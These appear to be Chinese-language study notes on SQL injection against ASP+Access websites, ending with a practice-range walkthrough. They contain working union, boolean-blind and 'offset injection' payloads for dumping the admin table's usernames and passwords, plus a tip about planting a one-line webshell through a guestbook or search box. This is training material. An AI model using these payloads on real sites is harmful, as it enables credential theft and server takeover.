基本判断
-
常见搭配:asp+access
-
后缀:.mdb,如果有/data/data.asp,直接在留言板或者搜索框里面插入一句话,然后shell掉data.asp
-
工具:
- 辅臣、access密码读取。
- 使用sqlmap时,直接--tables,不用判断database。因为所有的表都在同一个数据库中,而且access数据库不存在database()函数
-
判断:
- 单引号(双引号会把传递内容都当成字符串)
- -0和/
- and 1=1和and 1=2
注入
access数据库:union注入、bool盲注、偏移注入
Union注入
- access的联合查询注入和mysql联合注入不同的点有两个
- 第一个是,access的union前半句话为真
- 第二个是,access必须指定表名,用不了--+,#
- 思路:判断是否有注入--->order by判断表个数--->猜表名--->猜列名(bp,结合网站后台目录名)
bool盲注
一般使用sqlmap
#判断数据库类型,或者使用count(*)
and exists (select * from msysobjects)>0 access
and exists (select * from sysobjects)>0 sqlserver
#判断数据库表,对user处fuzz
and exists (select * from user)
#判断数据库列,对admin处fuzz
and exists (select admin from user)
#猜管理员账号
and (select top 1 asc(mid(admin,1,1)) from user)>100 返回正常说明大于,不正常说明不大于
偏移注入
适用于猜出了表名,猜不出列名
- 使用:用
*
代替列数,并且往前面减,回显点会出现某一列的数据(随机)。如:id =1 union select 1,2,3,4,*-----> id =1 union select 1,2,3,*
一直往前删除,直到出现数据
-
实战情景:
- 如果一个access数据库有38个表,使用偏移注入,直到27个表才有回显,中间相差11个
- 推测下一个出现数据的地方在16,尝试爆数据。下面写了三句话,如果爆不出数据,依次去爆破
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from (admin as a inner join admin as b on a.id=b.id) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
- 推测下一个出现数据的地方在5,a.id等同上
union select 1,2,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
靶场
环境:墨者靶场的access注入
-
进入环境,发现注入点在公告页面
-
使用order by语句判断有4张表
-
盲猜数据库是admin,
id=1 union select 1,* from admin
- 盲猜了列名,username和passwd